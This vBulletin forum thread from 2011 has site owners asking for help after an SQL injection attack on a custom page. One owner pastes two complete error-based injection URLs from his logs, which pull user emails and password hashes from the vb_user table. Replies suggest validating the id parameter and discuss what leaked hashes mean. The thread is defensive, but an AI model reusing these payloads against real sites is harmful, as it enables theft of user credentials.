Go Back   vb.org Archive > vBulletin 3 Discussion > vB3 Programming Discussions
FAQ Community Calendar Today's Posts Search

Reply
 
Thread Tools Display Modes
  #1  
Old 01-09-2011, 11:47 PM
stryka stryka is offline
 
Join Date: Aug 2002
Posts: 201
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default SQL injection on custom page

I have a customized page that uses the VB Backend... just got a ton of errors from an IP that i blocked and realized they were trying to fish for passwords and hash values from my vb_user db... can someone take a look at the query and see what else was done... two queries were repeated 1 after the next

query 1

http://sitename.com/script.php?id=100%27%20and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,vb_user.email,0x27,0x7e) FROM `islandm_vbbackup`.vb_user LIMIT 68,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1';

This returned errror with email address: Duplicate entry '~'emailaddy@email.com'~1' for key 'group_key'

query 2
http://sitename.com/script.php?id=100%27%20andand(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,vb_user.password,0x27,0x7e) FROM `islandm_vbbackup`.vb_user LIMIT 68,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1';

This returned errror with what looks like has value: Duplicate entry ~'d81xxxb29cb129179c0eed59ab6c2'~1' for key 'group_key'

have to get my developer involved.. not sure what to advise him.... any ideas how/where i can shut this activity down?
Reply With Quote
  #2  
Old 01-10-2011, 12:08 AM
kh99 kh99 is offline
 
Join Date: Aug 2009
Location: Maine
Posts: 13,185
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

I don't understand whats going on in those queries, but I guess you have a script that takes an id as a parameter on the url then looks it up in the database. If that's correct, then you probably need make sure the id consists of just digits before using it in a query.

ETA: If you're including some vb code in your script, you might be able to use the "clean_gpc" function to get the parameter (although for TYPE_INT I think it just calls intval() on the value).
Reply With Quote
  #3  
Old 01-10-2011, 11:19 PM
encryption's Avatar
encryption encryption is offline
 
Join Date: Sep 2005
Posts: 155
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

I just had a similar thing happen to me yesterday... I'm scared because it appears like the attacker was able to grab all usernames/email addresses/password hashes for my site. I'm in process of locking the custom code down, and I wanted to bounce this off everyone else. What are the impacts of an attacker actually getting the password hash for my users in a vBulletin 4 forum? I know it's not possible to reverse engineer the passwords from the hash, but what are the chances that the attacker can generate a different password (or similar one, maybe based on the top 100 most-commonly-used passwords) that has a matching hash?

I also don't see the attacker pulling each user's salt from my database, but is it really needed if they can generate a different random string of characters that matches a user's hash? Let's assume user x on my forum uses the same username/email/password on ten forums. Without the salt, does this mean that the attacker can only generate a matching hash to login to my site, but not any other forum? Or would the attacker be able to generate the hash for all forums? I'm trying to figure out the real impact of what they got..

--------------- Added [DATE]1294709907[/DATE] at [TIME]1294709907[/TIME] ---------------

Here's my take at it... what's everyone's thoughts on this?

Best case, they didn't grab all the info they needed (the salt) and they give up.

Realistic case, they run something to generate a matching hash for each user, and they now have a second password that works for each account along with the actual password.

Worst case, they somehow pulled the salt, even though I see no proof of it, and are able to either match all of our accounts to a top 1000 password list. They know a list of usernames/email addreses that are using a common password and can start to target other sites with the same userid/email address.

Unlikely case, they somehow pulled the salt, even though I see no proof of it, ran a random password generator against each one until they discovered the password for every username/email/password, and will target other sites.
Reply With Quote
Reply


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT. The time now is 01:23 PM.


Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2024, vBulletin Solutions Inc.
X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.06219 seconds
  • Memory Usage 2,184KB
  • Queries Executed 13 (?)
More Information
Template Usage:
  • (1)SHOWTHREAD
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)ad_showthread_beforeqr
  • (1)ad_showthread_firstpost
  • (1)ad_showthread_firstpost_sig
  • (1)ad_showthread_firstpost_start
  • (1)footer
  • (1)forumjump
  • (1)forumrules
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (1)navbar
  • (3)navbar_link
  • (120)option
  • (3)post_thanks_box
  • (3)post_thanks_button
  • (1)post_thanks_javascript
  • (1)post_thanks_navbar_search
  • (3)post_thanks_postbit_info
  • (3)postbit
  • (3)postbit_onlinestatus
  • (3)postbit_wrapper
  • (1)spacer_close
  • (1)spacer_open
  • (1)tagbit_wrapper 

Phrase Groups Available:
  • global
  • inlinemod
  • postbit
  • posting
  • reputationlevel
  • showthread
Included Files:
  • ./showthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/functions_bigthree.php
  • ./includes/class_postbit.php
  • ./includes/class_bbcode.php
  • ./includes/functions_reputation.php
  • ./includes/functions_post_thanks.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_postinfo_query
  • fetch_postinfo
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • showthread_start
  • showthread_getinfo
  • forumjump
  • showthread_post_start
  • showthread_query_postids
  • showthread_query
  • bbcode_fetch_tags
  • bbcode_create
  • showthread_postbit_create
  • postbit_factory
  • postbit_display_start
  • post_thanks_function_post_thanks_off_start
  • post_thanks_function_post_thanks_off_end
  • post_thanks_function_fetch_thanks_start
  • post_thanks_function_fetch_thanks_end
  • post_thanks_function_thanked_already_start
  • post_thanks_function_thanked_already_end
  • fetch_musername
  • postbit_imicons
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • postbit_display_complete
  • post_thanks_function_can_thank_this_post_start
  • tag_fetchbit_complete
  • forumrules
  • navbits
  • navbits_complete
  • showthread_complete